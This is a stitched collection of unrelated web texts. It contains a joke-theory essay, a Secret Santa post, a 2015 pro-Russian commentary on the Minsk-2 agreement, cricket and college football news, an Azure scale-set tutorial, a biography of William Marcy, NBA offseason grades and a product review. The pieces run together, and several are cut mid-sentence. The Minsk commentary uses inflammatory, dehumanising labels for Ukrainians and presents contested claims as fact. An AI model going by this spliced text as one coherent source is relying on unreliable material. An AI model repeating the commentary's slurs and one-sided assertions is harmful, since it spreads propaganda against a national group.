The good problem solvers are the best mates. Thus, it benefits a monkey to signal understanding of a concept. In this case, the fact that the noise is a “HA” made at the back of the throat could be entirely arbitrary. It could just as easily have been a click or a bark.
This would have some implications that could be tested. For one, it would mean that a person is more likely to signal amusement (via vocalization and facial expression) when there are other monkeys to hear. That person might also be more likely to vocalize when the concept understood is an especially tricky one.
I suspect this is the case in humans. For example, if you just understood something interesting, where would you be most likely to vocalize – near other members of your social group or at home alone? Are you more likely to laugh out loud when watching a movie with friends or when watching it alone?
Similar behavior has been seen in human female sex vocalizations. For example, in some primate species, females are more likely to vocalize during sex if males can hear.
ΔU/T would also explain why dissected jokes are never funny. For the joke to have the proper ΔU/T, T must be very very low. When jokes have to be explained, T gets bigger and the joke becomes less pleasurable.
The Logic
I don’t know if the above is true, but I suspect something very like it, in principle, is. If so, it has implications for how jokes are written.
It means the ideal joke presents something confusing that can be quickly understood with a key piece of information. I propose that you could in fact write a fairly simple program that would create at least a certain type of joke. With modification, it could potentially handle more types.
The general way in which this type of joke runs is as follows: two things are at first glance unrelated, but then shown to have some relation in a sensible way. The above Dungeons and Dragons joke is an example. The perception of the joke proceeds as follows:
Understanding the church is involved.
Understanding the church opposes D&D.
(Note, so far, everything is just empirical statements)
Changing D&D to mean birth control.
(Note, the new statement is confusing, but still maintains all prior logical connections. That is, it’s still something the church dislikes, and it’s related on at least one metric to D&D)
Confusion over whether the statement makes sense.
Understanding.
Pleasure. (Hopefully)
Many classic jokes follow this format. For example, “Take my wife. PLEASE!”
An understandable statement is made – “Take my wife.” The meaning of the word “take” is altered, but all logical connections are maintained. Brief confusion results. The confusion is followed by understanding – the comedian means a different statement that maintains all prior logical connections. Once understood, pleasure results. Note the pattern – sense, nonsense, sense, pleasure.
(Of course, in the above case, we all know the joke, so ΔU = 0. But, the first time it was told, this would not have been so.)
For another example, I once wrote a joke in which Jesus tells his disciples to give all they have to the poor. This results in the poor’s economy crashing because the free product puts their economy in a deflation.
This joke follows a similar structure. You are told that Jesus favors helping the poor and is acting in a way to harm the poor. This results in confusion. When the connections are explained – dumping product results in deflation – understanding results. Once again, an idea (giving to the poor) has its meaning changed in a way that preserves logical sense but alters the meaning of pre-existing connections. Ideally this happens quickly, and the reader will laugh.
Note that in both cases a connection is discovered. In the first case, there is a strange equivalence. Imagine you discovered it by doing the following:
Start with a concept. Build all possible relations off of that concept as bridges to other concepts. From each of those concepts, build more possible relationships to more concepts. Eventually you have a branch tree. At some point, you will have a situation where you fork off of a concept, only to have the paths come back together. The following is an example:
1) Church opposes->D&D->is loved by->Geeks->who have->no sex
2) Church opposes->Birthcontrol->whose methods include->abstinence.
You can see that we fork from what the church opposes, only to “close the loop” at not having sex. This is, of course, simplified. In an actual diagram, “church opposes” would branch to many things, as would D&D as would “is loved by” and so on. We’re just creating chains of relationships. Saying geeks have no sex might seem like cheating, since it’s similar to a joke. However, consider it as being one quality of a stereotypical geek among many. Others might be shyness, social awkwardness, etc.
Here’s a doodle of a more worked out chart, that is still obviously rather artificial.
The point here is that we follow the perfect structure of a one liner via this pathway. When we find one of these loops, it represents a surprising shared relationship, which is essentially how we described jokes above.
So, structurally, this whole diagram would look like lots of nodes with lots of links coming off each node. To find the potential jokes, we simply need to look for these “closed loops.” That is, places where something forks, only to recombine later.
My suspicion is, based on the ΔU/T concept, that there is an ideal size to the loop. Too big a loop would require too much inference, thus making T large. Too small a loop would make ΔU too small and the joke would be dull. The ideal joke takes a second to understand, but only a second. So, there is probably a desirable length for a closed loop.
In addition, note that there are two types of closed loop. I’m calling these Loop of Equivalence (LOEq) and Loop of Contradiction (LOCo).
In LOEq, connections proceed from a fork until two places contain the same thing: e.g., fork from things the church hates to reconnection at lack of sex.
In LOCo, connections proceed from a fork until two places contain perfect contradiction: e.g., fork from things Jesus wants to reconnection when one end is “alleviation for the poor” and one is “suffering for the poor.” Jesus wants the poor to be alleviated and suffer.
In LOEq, the reader is presented with a strange equivalence that is then resolved, along the CUP pathway.
In LOCo, the reader is presented with a strange contradiction that is then resolved, along the CUP pathway.
The Program
Thus, to make a program, |
, accompanied by picture pictures, to show you what I have received. And it will be awesome.
Let’s begin. First, I received a letter to Hogwarts. Even though “technically” I’m not supposed to talk about my magic to muggles, I’ll make an excuse for internet strangers (and Santa, I love my Santa). I am officially a wizard. Yessir, it has happened! I received an envelope addressed specifically to me and stamped with the official Hogwarts seal. Enclosed in the envelope were four pieces of paper: my letter congratulating me on my special powers, my school supply list, my train ticket, and a letter from Percy Weasley informing me why my letter was not delivered via owl post. Seriously though, wizards think of everything, so that heads up was great. I was also informed that more things would be heading my way soon. BLIMEY! (Let’s go all out and switch it so you read the rest of this post in an English accent.)
Okay, so next I came home today to a large (unpictured) FedEx box! Again, it was delivered via muggle mail (unconventional for wizards, but still pretty fast) and I was SO excited! This being said, I totally suck and tore into everything as soon as I got home without taking any pictures of everything wrapped so lovingly. However, I did take a picture of the wrapping paper, and you can see that my packages were delivered (or wrapped by, if you’re going to get technical) BY OWLS! Yes they were. That is the mark of a true wizard. I think. There were three, let’s call them “parcels”, inside the package which looked so enticing! Anyway, because my Santa was awesome enough to check up on me and find out about my fandom, they were able to send me some AWESOME (no, I mean “brilliant”) things! (We can’t marry our Santa’s, can we?)
So first, I got a postcard telling me that my Santa was from close to Harry Potter World in Orlando. They went to Harry Potter World just to get me things. I feel the love, and can attest to the fact that my Santa is downright awesome. Then, I unwrapped a large-ish box and was confused at first. It was…a red box? What? NO WAIT! IT IS A BOX OF WEASLEY’S WIZARD WHEEZES!!!! NO WAY GUYS! Seriously though, it’s SOOO RAD-CLIFFE (not Boring cliff, that guy’s lame)! I AM SO PUMPED TO EAT THE THINGS! Next up was a weirdly shaped thing that was pointy in the middle. I opened it, and…HOLY CRAP A CHOCOLATE FROG!!! I’ve never tried one!! I AM SO EXCITED RIGHT NOW! I believe I also unwrapped that beautiful Department for the Regulation and Control of Magical Creatures magnet with this as well and I was SOOO BLOWN AWAY! Last, but certainly not least was a Gryffindor journal! Remember how I told you that my Santa did some asking around and research about me? Well, I am a GRYFFINDOR! So I’m totally in love with this.
Well now, we’ve reached the end of my talking, so kudos if you have stuck around for the journey! I’m really sorry for the lengthy write-up about my gift, but seriously, my Santa blew everything out of the ballpark. Everything was SO FANTASTIC! My dad and my SO were super excited to be there for the grand unboxing, and I was so excited the entire time. Thank you so much Santa! I love you very much, and I hope we can be internet buddies now. Much love, /u/danakimberlyy.Home Sign up for our FREE Daily Email Newsletter Minsk-2: The Useless Agreement Which Everybody Wanted
By The Saker
February 13, 2015 " ICH " - I have to say that I am both amused and appalled at the completely over-the-top reaction of most commentators to what we might as well call the Mink-2 Agreement (M2A). Apparently, analysis has been abandoned altogether and has now been replaced with hyperbole and vociferous but empty statement. Reading some of the comments made here one could be forgiven for thinking that somehow the war in the Ukraine was over and that the AngloZionist Empire, aided by Putin, Surkov and an anonymous but sinister army of Russian oligarchs, has just inflicted a terrible and final blow to the Novorussian dream.
What is going on here? Has everybody just gone crazy?
In part, this is due that one could read anything, everything and its opposite into this agreement (more about that later) and also to the fact that the western media simply had to present any agreement as a triumph of western willpower, diplomacy and sanctions. This is all utter nonsense, of course, but that is what you get for exposing yourself to the corporate media. So let's set aside all the loud clamoring and use our brains to actually *think*.
First, I would remind everybody that the junta as broken every single agreement it committed to. Every single one. And there is absolutely no reasons at all to believe that this time around this will change.
Second, Poroshenko can promise all he wants, but the real power in the "independent Ukraine" is held by Uncle Sam and by the "Maidanites" he controls.
Third, why do you think that Merkel and Hollande suddenly felt a powerful urge to "scratch their diplomatic itch" and decided to intervene? Could that sudden urge to negotiate have a little something to do with a place called Debaltsevo? If yes, what does the M2A say about Debaltsevo? Exactly. *Nothing*.
Fourth, the agreement not even signed by Poroshenko, but by Kuchma on behalf of the Ukraine.
Fifth, check out this section:
9. Restoration of full control over the state border of Ukraine by the government throughout the conflict zone, which should begin on the first day after the local elections and be completed after a comprehensive political settlement (local elections in some areas of Donetsk and Lugansk regions on the basis of the Law of Ukraine and constitutional reform) at the end of 2015, subject to paragraph 11 — in consultation and agreement with the representatives of individual areas of Donetsk and Lugansk regions in the framework of the Three-Party Contact Group. Do you see what I see? Nevermind that the border is supposed to get back under Kiev's control only after "something" happens, but check out the "something" itself: constitutional reform in consultation and agreement with Novorussian leaders!!!! Does anybody seriously believe that the Rada will participate in anything even remotely looking like this? Liashko? Farion? Tsiagnibok and Iarosh all working together with the "subhuman colorads" from the Donbass to change the Ukrainian Constitution? Of course not!
So so far, let's sum this up. M2A was:
1) signed by a person with no authority
2) on behalf of a junta with no powers
3) it does not say a word about the main reason for the meeting in Minsk
4) it contains clearly impossible sections
How is that for a brilliant text?
In truth, there is a short section of the document which does contain one realistic elements: a ceasefire followed by a withdrawal of heavy weapons. That's it. The rest is nonsense. See for yourself
#4: local elections organized by the junta and Novorussians together. Nonsense
#5: pardons and amnesties. Blanket amnesty for all the war crimes (including MH-17 and Odessa "barbecue"). Disgusting.
#6: exchange of "all for all". Except that most folks in the junta hands are long dead.
#7: humanitarian assistance. Empty statement, the assistance is already coming in.
#8: payment of pensions: the junta does not have the money anyway. Will not happen.
#9: Constitutional reform. Will not happen
#10: Withdrawal of all foreign forces. Nonsense: those who are there (NATO countries) will stay, those who are not there (9000 Russian soldiers) cannot "leave" since they are not there to begin with.
#11: Constitutional reform including the creation of "The creation of people’s militia". LOL - apparently, that will be the new name for the Novorussian armed forces.
#12: Elections if all of the above happens first. Since it ain't, they won't.
#13: Creation of "working groups". Right. Keep dreaming.
The fact is that what is the most interesting about M2A is not what it says, but what it does NOT say:
1) not a word about Debaltsevo
2) not a word about the junta actually sitting down to negotiate with the Novorussian authorities
3) not a word about the future status of the Ukraine
4) not a word about the Ukrainian economy (which is still in free fall)
5) not a word about any peacekeepers (which are indispensible to make any ceasefire stick)
6) not even a word about the fact that the Novorussians are not "terrorist" but people seeking national independence. Poroshenko has still not spoken to them directly.
It is possible that these issues were, in fact, discussed, but that this will not be revealed to the general public. There might be secret clauses to M2A. However, it is at least as likely that these issues were discussed and that no agreement whatsoever was found, hence they were set aside.
But if nothing really important was decided, why did everybody participate to this exercise? Simple: everybody got something from it (assuming any parts M2A are actually implemented):
1) The Novorussians:
a) a stop of the terror attacks by the junta on Novorussian cities.
b) the recognition of the line of contact
c) the assurance that Voentorg remains open (control of border)
d) time to mobilize and train their planned 100'000 extra men
e) the recognition by all parties (including the Europeans) that they deserve a special status
2) Poroshenko:
a) the apparent and symbolic support for world leaders
b) a stop of the Novorussian advance
c) a vague hope that junta forces will be allowed to leave the Debaltsevo cauldron
d) money from the IMF (not nearly enough, but better than none).
3) Merkel and Hollande:
a) the illusion of relevance of a EU foreign policy
b) the (probably misguided) hope to stop the crazy Americans
c) the hope to an easing of the economic war with Russia (Mistrals?)
4) Putin:
a) the right to control the border until the constitutional reforms are made, in other words ad aeternam.
b) the recognition that without him no solution can be found
c) the hope for some easing of sanctions
Everybody got what they wanted and left with a smile on their face. Good for them, but none of that does anything to really settle the conflict or even begin to seek a solution.
The reality is that nothing at all happened in Minsk, at least nothing of any importance. The Novorussians won the latest battle (yet again) so they came in a position of strength and they got the junta to promise to stop the crazy shelling, and since Debaltsevo was not even mentioned, it looks to me that the junta forces there will be allowed to quietly withdraw as long as they leave their weapons behind. So the Debaltsevo cauldron will be controlled by Novorussia. Putin got political recognition and the hope of at least no more sanctions (remember after Minsk 1 the EU immediately imposed more sanctions on Russia). The Europeans got a little something too, mainly some good PR, and the big loser is most definitely Poroshenko who will now have the highly unenviable task of "selling" M2A to a totally crazy Rada (which, by the way, is currently considering an law proposed by Poroshenko's party to make the denial of the Russian aggression against the Ukraine a criminal offense).
Conclusion:
Just like in a chess game, time is a critical factor. M2A gave everybody a little time-out, but the conflict will resume and the only thing which will stop this conflict will be a double collapse of the Ukrainian economy and armed forces which I believe will most probably happen this summer. Until then, the conflict will be more or less frozen, though I will believe in a junta withdrawal of heavy weapons systems only if/when I see it. Also - remember that one can very well fight with tanks, mortars and infantry.
Nazi Baderastan and Novorussia are two civilizationally different project which cannot and will never coexist under one roof. Yes, for tactical reasons there might be the need to pretend that this is possible, but the reality is that it will not. The only way to keep Novorussia inside the Ukraine is to denazify the latter and until that is done, Novorussia will never really return to the Ukraine. That is a hard fact which nobody in the West is willing to accept. In Kiev, they fully understand that, but their "solution" is to empty Novorussia form Novorussians and to give this much needed Lebensraum to the "Ukr" Master Race of western Ukraine. And that is something which Russia will never allow. Which leaves only two possible outcomes: the EU gives up and the Ukraine is denazified, or the US starts a full-scale war against Russia in a desperate attempt to prevent that outcome.
Two more things I want to mention here:
In purely military terms the withdrawal of heavy systems is entirely to the Novorussian advantage. Remember that Kiev used these systems to try to terrorize the Novorussian population while the Novorussians used their artillery to try to suppress the junta's artillery. The Novorussians could never use their artillery to attack because they were liberating their own land and did not want to murder their own civilians. So, in other words, if both sides really withdraw their heavy guns the junta will lose a crucial capability while the Novorussians will lose an almost useless one.
Short message to the "Putin sold out" folks : guys, I have been ignoring your mantric repetition of unsubstantiated slogans about Putin "selling out" and "backstabbing" and all the rest, but I will tell you that not a single one of you has ever been capable of making a coherent, fact based and logically supported analysis proving your point. I think that mantras are great for yoga, but on this blog, they don't make you look any smarter. I let you post them here "because why not?" but please don't mistake that with a sign of respect for the nonsense you have spewing. The main reason why I don't debunk your nonsense is that time will do a much better job then I could, and that it will hurt you more when you are proven wrong not by my reasoning, but by undisputed facts on the ground (just like those who screamed that Putin betrayed Assad and Syria by making them, quote, "give up their only deterrence against Israeli nuclear weapons"). Anyway, if you must, keep on with the mantra but please be aware that they only make you look very sophomoric. And considering that there are still a few blogs out there taking the same position (though less and less), you might want to consider posting there. There each slogan, especially when expressed with a virile and categorical lack of nuances, will get you a standing ovation. Why suffer here when there are those "heavens of consensus" out there? Just think about it :-)
Okay, that's it for now. I am going to be on the road all day tomorrow, so please take this also as an "open thread" and "see you" all on Saturday, God willing.
Cheers,
The Saker
PS: this was sent to me by a friend today:
(cheer up guys, we will win!!)
The Saker blogs at http://vineyardsaker.blogspot.mx/ Click for Spanish, German, Dutch, Danish, French, translation- Note- Translation may take a moment to load. What's your response? - Scroll down to add / read comments Sign up for our FREE Daily Email Newsletter For Email Marketing you can trust Support Information Clearing House Monthly Subscription To Information Clearing House Option 1 : $5.00USD - monthly Option 2 : $10.00USD - monthly Option 3 : $15.00USD - monthly Option 4 : $20.00USD - monthly Option 5 : $35.00USD - monthly Option 6 : $50.00USD - monthly Option 7 : $100.00USD - monthly Please read our Comment Policy before posting - It is unacceptable to slander, smear or engage in personal attacks on authors of articles posted on ICH. Those engaging in that behavior will be banned from the comment section.Porterfield insists Ireland ready for Test cricket
Ian Callender (Sunday Life)
CAPTAIN William Porterfield insists Ireland are ready for Test match cricket, despite losing their position at the top of the Intercontinental Cup table after last weeks record defeat by Afghanistan.
Conditions temperatures in the middle were in the high 40s in Greater Noida - and injuries were mitigating circumstances but the size of the Afghans victory, by an innings and 172 runs, does not look good as Ireland aim to join the elite of the world game.
Porterfield was undoubtedly handicapped by the absence Boyd Rankin and Kevin OBrien both had to leave the tour early because of injury and Paul Stirlings broken finger sustained on the first day prevented him batting higher than No 7 and denied the skipper an extra slow bowling option.
We are striving for Test cricket and this tour was an invaluable experience, said Porterfield. We have a National Academy in place, two international grounds at Malahide and Stormont, our inter-pro competition has first class status from this season, and while it all takes time we have the building blocks in place.
Tours like this will help, playing the same team game after game and if you are coming up against a bowler like Rashid Khan who is bowling as well as he is, you have to find a way to cope and on the flip side for players like Stirlo, for example, who had a great one-day series to go on and cash in when you are in nick.
Its a big learning curve because only Ed Joyce has had that experience of touring before, when he was with England, so its been good.
Despite the results, he might have added, and Ireland must hope that both Ireland and Afghanistan are fast-tracked to Test status at Junes ICC Council meeting. For now they are playing catch-up with Afghanistan.In part two of this series, I showed you how to autoscale virtual machines (VMs) using Virtual Machine Scale Sets (VMSS) and Managed Disks behind a load balancer. In part three, I’ll look at how to configure vertical scaling (up and down) as an alternative to the default horizontal scaling (in and out). For more information on VMSS, Managed Disks, and vertical versus horizontal scaling, read part one and two of the series.
Azure Autoscale uses horizontal scaling by default. This is the best solution to avoid interruptions in service because it does not require rebooting VMs. But vertical scaling can be achieved with the help of metrics, VMSS alerts, and Azure Automation runbooks. As you have probably guessed, it is more complicated to set up, test, and maintain. Nevertheless, I will show you how to configure a runbook to scale down VMs in the VMSS if CPU utilization drops below five percent. The same method can be used to scale up VMs.
Create an Azure Automation Run as Account
Before you can use a runbook for vertical scaling, you will need an Azure Automation account with a Run as Account. This allows the runbook to authenticate with Azure Resource Manager (ARM) resources.
Log in to the Azure management portal here.
Scroll to the bottom of the list of services on the far left and click More services.
. In the Filter field, type automation and click Automation Accounts in the results.
field, type and click in the results. At the top of the Automation Accounts pane, click + Add.
pane, click. In the Add Automation Account pane, give the new account a name in the Name field.
pane, give the new account a name in the field. Select the Azure subscription in which you want to create the new account using the Subscription drop-down menu.
drop-down menu. Check Use existing above the Resource group field.
above the field. Using the Resource group drop-down menu, select the resource group created in part 2 of this series.
drop-down menu, select the resource group created in part 2 of this series. Change the location using the Location drop-down menu if required.
drop-down menu if required. Make sure that Yes is selected under Create Azure Run As Account.
is selected under Click Create at the bottom of the pane.
The new automation account will appear in the Automation Accounts pane when deployment has completed. You might need to click Refresh to see if the pane is still open.
Import and Publish a PowerShell Runbook
Microsoft has created four runbooks for vertical scaling VMs in a VMSS. You can add them to your Azure Automation account by downloading them from the gallery.
On the Automation Accounts pane, click the new automation account to open it.
pane, click the new automation account to open it. On the Automation Account pane, click the Runbooks tile on the right.
pane, click the tile on the right. At the top of the Runbooks pane, click Browse gallery.
pane, click. In the Browse gallery pane, type scale in the Filter box. Press ENTER.
pane, type in the box. Press. Click on each of the following runbooks and then click Import in the runbook’s pane. To confirm the operation, click OK in the Import pane each time. Scale Down Virtual Machine Scale Set Instances Scale Up Virtual Machine Scale Set Instances Scale Down and Reprovision Virtual Machine Scale Set Instances Scale Up and Reprovision Virtual Machine Scale Set Instances
in the runbook’s pane. To confirm the operation, click in the pane each time. Close the Browse gallery pane, and you will see the four new runbooks on the Runbooks pane.
Before you can use an imported runbook, you need to publish it. First, decide which runbook you want to use. There are two runbooks that scale down VMs in a VMSS. You can choose to scale down, or scale down and reprovision. The latter choice removes existing VMs and replaces them with new ones. In this article, I will use a runbook that does not reprovision the VMs.
On the Runbooks pane, open the runbook you want to publish by clicking it in the list.
pane, open the runbook you want to publish by clicking it in the list. On the pane for the open runbook, click Edit in the list of options on the top right.
in the list of options on the top right. On the Edit PowerShell Runbook pane, click Publish.
pane, click. Click Yes to confirm the operation.
Create a Webhook
A webhook is a URL that will allow a VMSS alert to send information to the runbook. You want to do this so that an action can be automatically triggered.
Back on the Runbook pane, click Webhook at the top of the pane.
pane, click at the top of the pane. On the Add Webhook pane, click Create new webhook.
pane, click. Give the webhook a name on the Create a new webhook pane in the Name field.
pane in the field. Modify the expiration date of the webhook if required.
Before clicking OK, click the Clipboard icon to the right of the URL field. You will need the URL in the next step. Make sure you copy it somewhere safe.
, click the icon to the right of the field. You will need the URL in the next step. Make sure you copy it somewhere safe. Click OK.
. Now click Create parameters and run settings on the left of the Add Webhook pane.
on the left of the pane. On the Parameters pane, leave the default settings. Click OK.
pane, leave the default settings. Click. On the Add Webhook pane, click Create to add the webhook to the runbook.
Add an Alert to the VMSS
The final step is to add an alert to the VMSS. This will raise the alarm when CPU usage rises above five percent. You will need the URL of the webhook that was created above.
Scroll to the bottom of the list of services on the far left, and click More services.
. In the Filter field, type scale and click Virtual machine scale sets in the results.
field, type and click in the results. On the Virtual machine scale sets pane, click your VMSS in the list to open it.
pane, click your VMSS in the list to open it. Under MONITORING on the VMSS pane, click Alert rules.
on the pane, click. Click Add metric alert at the top of the Alert rules window.
at the top of the window. On the Add rule pane, give the new rule a name in the Name field. Add a description if required.
pane, give the new rule a name in the field. Add a description if required. Scroll down to the Condition drop-down menu and select Less than.
drop-down menu and select. In the Threshold field, type the percentage threshold on which you would like to generate an alert for CPU usage. I’m going to use 5.
field, type the percentage threshold on which you would like to generate an alert for CPU usage. I’m going to use 5. Microsoft recommends setting a Period of at least 20-30 minutes to avoid triggering vertical scaling too often. I am going to select a period of Over the last 30 minutes.
of at least 20-30 minutes to avoid triggering vertical scaling too often. I am going to select a period of. In the Notify via section, copy the URL of the webhook you created in the previous steps into the Webhook field.
section, copy the URL of the webhook you created in the previous steps into the field. Click OK to add the rule.
to add the rule. The new rule will now appear in the Alert rules pane.
Now all you need to do is wait for an alert to be generated. This alert will trigger the runbook via the webhook. Note that you cannot trigger the runbook manually for testing. It is designed to work only when triggered by an alert. It is also worth noting that not all VMs sizes can be scaled down. For more information on which VMs sizes can be scaled, open the runbook code by clicking View at the top of the runbook’s pane.
In this article, I showed you how to configure vertical scaling for VMSS using Azure Automation and a PowerShell runbook.Ever since he committed to Ohio State back in the summer, QB Tate Martell has stated his desire to enroll early in Columbus to be able to go through winter workouts and spring practice.
There was one problem with that plan though: Martell's school, Las Vegas (NV) Bishop Gorman, doesn't allow students to graduate high school early.
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In order for Martell to be able to graduate in time to enroll at Ohio State in early-January, the four-star signal caller has apparently transferred schools, to local Desert Pines, for the rest of the high school semester, per USA Today HS Sports.
"I had to transfer to Desert Pines to graduate early," Martell told USA Today. "I graduate on Friday."
The latest is great news for the Buckeyes, as it's always ideal to have quarterbacks on campus early, so that they can dive head-in to the playbook and get as many reps as possible during the spring.
Martell will compete with Joe Burrow, Dwayne Haskins, and Stephen Collier this spring for either the starting job (if J.T. Barrett leaves) or the back-up job.William L. Marcy monument on Middle Ridge Road at Albany Rural Cemetery. Marcy, who had a keen legal mind, was also skilled at accounting and building alliances. (Will Waldron/Times Union) William L. Marcy monument on Middle Ridge Road at Albany Rural Cemetery. Marcy, who had a keen legal mind, was also skilled at accounting and building alliances. (Will Waldron/Times Union) Photo: WW Photo: WW Image 1 of / 10 Caption Close William Learned Marcy (1786-1857): Governor, U.S. Senator, Secretary of State, Mount Marcy 1 / 10 Back to Gallery
The towering legacy of American statesman William Learned Marcy is found in the name of the state's highest peak, 5,344-foot Mount Marcy in the Adirondack Mountains. Originally called Tahawus, a Native American name meaning "cloud splitter," it was named for Marcy who as governor authorized the survey that explored and documented the High Peaks region of the Adirondacks.
Marcy grew up on a farm in Sturbridge, Mass., graduated from Brown University in 1808 and became a lawyer in private practice in Troy. He fought in the War of 1812 and returned to the Collar City, where he got his start in politics as the city's first recorder and assistant mayor. He became state comptroller in 1823 and moved across the Hudson River to Albany. In the state Capitol, he allied himself with Samuel J. Tilden, Horatio Seymour, Martin Van Buren and others who formed a Democratic Party "holy alliance" known as the Albany Regency, one of the earliest political machines in the country. After six years as comptroller, his political prominence led to his appointment as an associate justice of the state Supreme Court, followed by his election to the U.S. Senate. He returned from Washington, won his campaign for governor in 1833 and served three terms.
Marcy was the complete package as a politician: a keen legal mind, skilled at accounting and deft at building alliances. His tenure as governor was marked by pragmatism, efficiency and a lack of scandal. Those attributes led to his being tapped as a member of the Mexican Claims Commission in 1840, charged with investigating claims of U.S. citizens against Mexico. President James K. Polk appointed Marcy Secretary of War in 1845 and he was a top Cabinet official during the Mexican-American War. Marcy helped end the war by negotiating the 1848 treaty of Guadalupe Hidalgo, which called for the U.S. to take possession of the lands north of the Rio Grande for $15 million, assuming $3 million debt.
Although Marcy had never traveled outside the U.S. and lacked foreign policy experience, his reputation as a wise counsel and excellent negotiator led President Franklin Pierce to choose Marcy as his Secretary of State in 1853. He negotiated numerous treaties, including the 1853 Gadsen Purchase, in which the U.S. paid Mexico $10 million for 30,000 square miles of the country that later became part of Arizona and New Mexico. The tract made possible a southern transcontinental railroad.
Marcy also drafted the Ostend Manifesto, which laid out the rationale for a proposed American acquisition of Cuba. Public opinion and international reactions were overwhelmingly negative, which caused a chastened Pierce administration to drop the plan. Stung by criticism of the extent of slavery in U.S. expansion plans and conceding that it was trying to overreach as a new global power, Marcy bounced back by successfully negotiating a treaty with Great Britain over reciprocal fighting rights in Canada.
In all, he hammered out an astonishing 24 treaties in four years as Pierce's Secretary of State and he finished his service at the end of the president's term in March 1857. Exhausted, he returned to his home in Ballston Spa and died there four months later, at age 70, on July 4, 1857.
A New York Times obituary noted his life of public service and called Marcy "among the foremost men of the country."
A founder and board member of Albany Rural Cemetery, Marcy sold some of the land of his father-in-law Benjamin Knower's estate to the cemetery. For his own plot, Marcy chose a scenic site atop the Middle Ridge, Section 62 in Lot 94, where he used to sit to enjoy the soothing sounds of a nearby waterfall and a sweeping vista of the Hudson River. Marcy's family commissioned the noted artist Erastus Dow Palmer to design his graceful monument, as solid and serious as the statesman.Part 2 of my offseason grades is pretty late, but in case you missed part 1, I’m going to be doing division by division offseason grades until the NBA season kicks off. You can find part 1 here. This week is offseason grades for the…
CENTRAL DIVISION:
CHICAGO BULLS
2014-15 Record: 50-32
Grade: B
I wrote out what I thought the Bulls should do this offseason in an article back in July. The number one item on my list was to re-sign Jimmy Butler, and the Bulls did well to get him to commit to at least 4 more years in Chicago with a maximum contract. Kudos to John Paxson and Gar Forman for doing so after it seemed Butler might opt to sign a 3 year deal with a player option in the last year ala Chandler Parsons and Greg Monroe. Making sure Butler was staying for the long haul was the most important goal for the Bulls, and they took care of it.
Additionally, the Bulls retained Mike Dunleavy on a 3-year contract. Chicago relied pretty heavily on Dunleavy a year ago and retaining him was a necessity, especially since they had no real means of replacing him as an over the tax team. The Bulls re-signed Dunleavy using the Early Bird exception, which allowed the team to sign him for as much as $5.8 million in the first year. In the end, the two parties settled on a fair contract that pays him about 14.4 million over the life of deal. Furthermore, nabbing Bobby Portis with the 22nd overall pick in the draft was a steal. A skilled 6’11” big out of Arkansas, Portis was projected to go in the mid teens, so it was good value for the Bulls to grab him in the 20s.
Elsewhere, I have been a bit disappointed with what the Bulls have done. I had figured the team still had the entire taxpayer mid-level exception (just under $3.4 million) to add another free agent. However, it seems the Bulls used almost the entire functionality of it to re-sign Aaron Brooks to a 1-year $2.25 million deal. It’s not that I hate Brooks at that number, but the Bulls could have re-signed Brooks using Non-Bird rights for a contract starting at $1.525 million with a player option in year 2 worth $1.6 million and saved the entire mid-level exception. For the additional three-quarters of a million in salary for Brooks, the Bulls are giving up $2.25 million of potential room to sign another player using the exception. If Brooks was truly going to command more than the $1.5 million Chicago could offer using his Non Bird rights, I would have looked elsewhere for a backup point guard, especially given Brooks’ defensive limitations due to his slight build. While the Bulls clearly like Brooks (so do I) and want to keep him around, using the functionality of the taxpayer mid-level was not the ideal outcome from a cap management perspective and a is disappointing turn of events that all but eliminates the Bulls’ flexibility to add additional talent above the minimum.
I wonder if owner Jerry Reinsdorf may be reluctant to increase salary for a team that is already $4 million over the tax. This reluctance to spend is pretty ludicrous given that projections have the Bulls running a $61 million profit a year ago. However, Reinsdorf is notoriously cheap and Chicago has only paid the luxury tax once in its history. Perhaps Reinsdorf didn’t want the Bulls to spend the entire mid-level exception because of the increased luxury tax bill. In this context, re-signing Brooks makes a lot of sense.
Alas, it appears Chicago’s offseason is, for all intents and purposes, over. The Bulls have 13 guaranteed contracts, and 2 partial or non guarantees. They essentially have the same team as they had a year ago, which means if the Bulls hope to contend, the will rely on internal development and new coach Fred Hoiberg successfully installing his system and culture. If Hoiberg generates some offense and brings new life this Bulls team, it would go a long way towards an Eastern conference finals appearance for the Bulls.
Synopsis: The Bulls made some nice moves this offseason: getting Butler to commit to at least four years with the team, re-signing Dunleavy, and getting good value in the draft with Portis. On the other hand, for all intensive purposes they’re returning the same team from a year ago that lost to a hobbled Cavaliers team in the Eastern conference semis. They opted not to use the taxpayer mid-level to add outside talent or dangle one of their surplus of bigs to add an impact player. Without Hoiberg’s team completely gelling and Derrick Rose and Joakim Noah returning to form, I don’t see them competing with the Cavs in the East.
CLEVELAND CAVALIERS:
2014-15 RECORD: 53-29
Grade: A
Cleveland resigned LeBron James, Kevin Love, Iman Shumpert, J.R. Smith, and Matthew Dellavedova from their Eastern Conference championship team a year ago. They also brought veteran guard Mo Williams back to Cleveland to play with James once again. They still have to finalize a contract with Tristan Thompson, but he’s unlikely to be anywhere but Cleveland in 2015-16 given that the Cavs have the ability to match any contract he signs, and he’s represented by the same agent as LeBron, Rich Paul. The recent turn of events makes things more interesting. Thompson opted against signing the qualifying offer before the deadline and the sides haven’t come to a contract agreement. TT is now holding out. However, I believe it’s only a matter of time until he returns to Cleveland on a long-term deal. There’s too much money at stake.
Cleveland ought to improve on last season’s effort, when they made the finals. The team added Mo Williams to backup Irving, bumping Dellavedova to a 5th guard role. They replaced Shawn Marion with Richard Jefferson, a marginal but real upgrade over a player in Marion who became so unplayable come playoff time that Blatt opted for a 7 man rotation over |
set-up was easy, though not as easy as they claim. Definitely read through the directions or you will miss something and get confused. If you are using it directly from OFF it takes longer than I would like to acquire the signal than I would like. But if you keep it plugged in (instead of using the battery) there is an option to have it quick start upon receiving a signal. Battery Life: I've had it a couple of months now and the battery life is still really good. Will do an update after I've had it for one year. Wi-Fi: I have a MediaCenter PC in the basement so that's where my Linksys Wireless-N router is located. Comcast Internet with wireless speeds around 40-50Mbps (tested on SpeedTest.net from computer and laptop on first floor) The first day or two I had the A3 it seemed a little buggy - kept losing the signal, but it's completely fine now. I have no problems on the first or second floor. Where I'm a little disappointed is outside on the porch. This could be the A3's fault or a distance issue for the router. I'm not exactly sure, but once I take it outside on the porch I start having issues with it. I chalk it up to the fact that the wi-fi signal is no longer coming through wood studs, flooring, and drywall and is now most likely coming through cinderblock and dirt (direct line of signal to router from porch). i'm confident if I had the router on the main floor (providing direct signal to outside) I would have zero problems. All in all I love it. And I plan on expanding to at least 3 more. But most likely A4's because I already have one for portability.
